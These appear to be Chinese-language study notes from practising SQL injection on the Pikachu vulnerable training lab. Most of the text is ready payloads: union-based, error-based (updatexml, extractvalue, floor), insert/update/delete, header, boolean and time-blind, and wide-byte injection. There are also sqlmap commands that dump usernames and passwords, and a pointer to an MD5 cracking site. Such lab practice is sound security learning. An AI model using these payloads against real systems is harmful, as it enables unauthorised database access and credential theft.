sql注入漏洞 危害是最大得
sql注入类型: 数字型 user_id=$id
字符型 user_id='$id'
搜索型 text like '%{$_GET['search']}' "
select 字段1 from table where id=1 会显示表中第一行信息
select 字段1 from table where id=1 or 1=1 会显示表中所有信息
1.数字型注入 post
、
抓包如下
查看代码,发现代码对id没有做任何过滤
2.字符型注入 get
猜测 SELECT 字段1,字段2,from table where username= ' xxx'
构造 SELECT 字段1,字段2,from table where username= ' xxx ’ or 1=1 # '
3.搜索型注入
select * from table where username like '%xxx% '
select * from table where username like '%xxxx% ' or 1=1# % '
输入 k% ' or 1=1#
4. xxx型注入
查看代码
构造闭合
原先 where username = ('lucy')
输入 (' lucy') or 1=1 # ')
ps:
在实际操作中 需要根据自己的经验做实际操作 做测试
以字符型注入为例
1.可能单引号闭合 可能双引号闭合
举例 aaa' or 1=1 # 或者 aaa“ or 1=1 #
通过检测 发现单引号闭合 是正确的
2.还可以根据返回的信息 判断数据的输入有没有参与到后台的数据库sql里去
举例lucy' and 1=1 # 返回正确 lucy' and 1=2 # 返回 错误 则证明是单引号闭合
我们通过观察结果 发现payload 参与了后台数据库语句 所以 语句是正确的
3.输入‘ 进行测试
通过报错 发现‘ 进行了sql语句拼接 只是报错了 通过报错 我们发现了注入漏洞
3种注释符号 : # 、 -- (--空格)、/* */ 多行注释
union 语句后面的查询列数 要和主句查询语句列数一致
select database(); 查看当前数据库
select user(); 查看当前用户
select version(); 查看当前mysql版本信息
使用union 首先要猜测列数 使用order by
order by 2 根据第二列进行排序 order by 3 根据第三列进行排序
order by 3
order by 2
即可判断 有俩列
xx' union select 1,2 # 即可查询 显示位置
xx' union select user() ,database() #
输入desc hotel;查看列和数据类型。
数据库知识
1. 查库:
Show databases;
select schema_name from information_schema.schemata
2. 查表:
Show databases; use security; show tables;
select table_name from information_schema.tables where table_schema='security'(此表名用的时候大多数转为16进制)
3. 查列:
select column_name from information_schema.columns where table_name='users'
4. 查字段:
select username,password from security.users
获取表名
获取表名 payload
kobe' union select table_schema, table_name from information_schema.tables where table_schema='pikachu' #
获取字段名
select id,email from member where username= 'kobe' union select table_name, column_name from information_schema.columns where table_name= 'users'
test payload
kobe' union select table_name, column_name from information_schema.columns where table_name= 'users'#
获取字段数,
select id,email from member where username= 'kobe' union select username, password from users;
paylaod
kobe' union select username, password from users #
md5加密 https://www.cmd5.com/
e10adc3949ba59abbe56e057f20f883e
5. 报错注入
updatexml() https://blog.csdn.net/qq_37873738/article/details/88042610
构造注入语句:select name from user where id=1 and updatexml(1,concat('~',(select database()),'~'),3);
updatexml(1,version(),0); 第一个位置 XML文档对象的名称,第二个位置是指定路径, 第三个位置是新得
kobe' and updatexml(1,version(),0) # 显示不全面
进行改造 kobe' and updatexml(1,concat('~',(select database())),0) #
kobe' and updatexml(1,concat('~',(select version())),0) #
报错只能一次显示一行
kobe' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='pikachu')),0) #
kobe' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) #
使用 limit 0,1 进行逐行显示
获取完表明之后 同样方式获取列名
kobe' and updatexml(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1)),0) #
kobe' and updatexml(1,concat('~',(select username from users limit 0,1)),0) #
kobe' and updatexml(1,concat('~',(select password from users limit 0,1)),0) #
6.1 insert注入
注册 姓名填 ‘ 出现一下 错误 说明’ 参与了后台sql语句拼接 导致了sql语句的错误
正常插入insert into member (username,pw,sex,phonenum,email,address) values ('xiaohong',11111111,1,2,3,4);
insert into member (username,pw,sex,phonenum,email,address) values ('xiaohong' or updatexml(1,concat('~',(select version())),0) or ' ' ,11111111,1,2,3,4);
构造payload xiaohong' or updatexml(1,concat('~',(select version())),0) or '
6.2 update 注入
update 就是登录上去 去修改个人信息 利用insert 进行修改
构造payload xiaohong' or updatexml(1,concat('~',(select version())),0) or '
7.delete注入
查看源码 对获取到id 没做处理 直接拼接 进行删除
burp suite 抓包 发送到repeart
1 or updatexml(1,concat('~',(select version())),0)
因为传得是url 需要对关键字进行url编码
编码之后发现空格都变成了加号 点提交
id=1+or+updatexml(1,concat(0x7e,(select+database())),1) HTTP/1.1
基于extractvalue()
kobe' and extractvalue (0,concat(0x7e,version()))#
floor() 取整 向下取整
kobe' and (select 2 from (select count(*), concat(version(), floor(rand(0)*2))x from information_schema.tables group by x) a) #
kobe' and (select 2 from (select count(*), concat(database(), floor(rand(0)*2))x from information_schema.tables group by x) a) #
8.http头注入
admin 123456 登录
一般返回信息有user agent数据得 都会存在http注入
burp suite抓包 进行测试
firefox' or updatexml(1,concat(0x7e,databse()),0) or '
修改 cookie值
盲注
布尔盲注
lucy' or 1=1#
lucy' and 1=1 #
payload kobe' and ascii(substr(database(),1,1))>1 #
猜测正确 显示
猜测错误 显示用户不存在
kobe' and ascii(substr(database(),1,1))>1 # 替换掉
时间盲注
基于时间得延迟
kobe' and if ((substr(database(),1,1))='p',sleep(5),null)#
宽字节注入:
当我们输入有单引号时被转义为’,无法构造 SQL 语句的时候,可以尝试宽字节注入。
GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。在皮卡丘平台中,将利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入payload,当我们用通常的测试 payload时,是无法执行成功的
因为在后台单引号会被转义,在数据库中执行多了反斜杠,可以使用下面的payload,在单引号前面加上%df,绕过这个WAF。
kobe %df‘ or 1=1#
sqlmap
sqlmap.py -u " http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2"
得到数据库:
sqlmap.py -u " http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --current-db
得到表名
sqlmap.py -u " http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables
得到字段名
sqlmap.py -u " http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns
拿到数据
sqlmap.py -u " http://192.168.50.254/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -Tables users -C username,password --dump
拿到数据名和密码